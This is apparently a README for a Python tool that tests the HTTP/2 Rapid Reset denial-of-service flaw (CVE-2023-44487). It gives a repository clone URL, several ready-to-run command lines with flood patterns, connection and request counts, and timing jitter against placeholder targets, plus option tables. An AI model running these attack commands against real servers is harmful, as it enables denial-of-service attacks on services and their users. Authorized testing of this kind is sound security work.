
Python-based testing tool for CVE-2023-44487 (HTTP/2 Rapid Reset) with multiple attack patterns, granular configuration, and monitoring for authorized security assessments.
A comprehensive Python testing tool for CVE-2023-44487, the HTTP/2 Rapid Reset vulnerability. This enhanced version provides granular control over testing parameters, multiple attack patterns, and advanced monitoring capabilities.
This tool is for educational and authorized testing purposes ONLY!
CVE-2023-44487, also known as "HTTP/2 Rapid Reset," is a critical vulnerability in the HTTP/2 protocol that allows attackers to:
CVSS Score: 7.5 (High)
Impact: Denial of Service, Resource Exhaustion
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Should be 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Option | Description | Default |
|---|---|---|
-c, --connections N | Number of concurrent connections | 1 |
--connection-timeout SEC | Connection timeout in seconds | 10 |
--read-timeout SEC | Read timeout for responses | 5 |
--connection-delay SEC | Delay between connections | 0.0 |
| Option | Description | Default |
|---|---|---|
-r, --requests N | Requests per connection | 100 |
--delay SEC | Delay between HEADERS and RST_STREAM | 0.001 |
--request-delay SEC | Delay between requests | 0.0 |
--jitter FACTOR | Timing randomization factor | 0.0 |
| Option | Description | Default |
|---|---|---|
--pattern TYPE | Attack pattern to use | rapid_reset |
--burst-size N | Requests per burst | 10 |
--burst-delay SEC | Delay between bursts | 0.1 |
Available Patterns:
rapid_reset - Standard rapid reset attackburst_reset - Burst-based attacksgradual_reset - Gradually increasing raterandom_reset - Random timingcontinuation_flood - CONTINUATION frame floodmixed_pattern - Mix of patterns| Option | Description | Default |
|---|---|---|
--window-size BYTES | HTTP/2 initial window size | 65535 |
--frame-size BYTES | Maximum frame size | 16384 |
--header-table-size BYTES | HPACK header table size | 4096 |
--enable-push | Enable HTTP/2 server push | False |
--rst-error-code CODE | RST_STREAM error code | 8 |
| Option | Description | Default |
|---|---|---|
--custom-headers HEADER | Custom headers (Name: Value) | None |
--random-headers | Generate random headers | False |
--header-count N | Number of random headers | 5 |
| Option | Description | Default |
|---|---|---|
--randomize-streams | Use random stream IDs | False |
--priority-frames | Include priority information | False |
--continue-on-error | Continue after errors | True |
--max-errors N | Maximum errors before stopping | 10 |
| Option | Description | Default |
|---|---|---|
--track-latency | Track request latency | False |
--track-responses | Track server responses | False |
--monitor-memory | Monitor memory usage | False |
| Option | Description | Default |
|---|---|---|
--output FORMAT | Output format | console |
--output-file FILE | Output filename | auto-generated |
--verbose, -v | Verbose output | False |
--debug | Debug logging | False |
--log-file FILE | Log to file | None |
Available Output Formats:
console - Human-readable console outputjson - Machine-readable JSONcsv - Spreadsheet-compatible CSVxml - Structured XML formatThe tool provides comprehensive results including: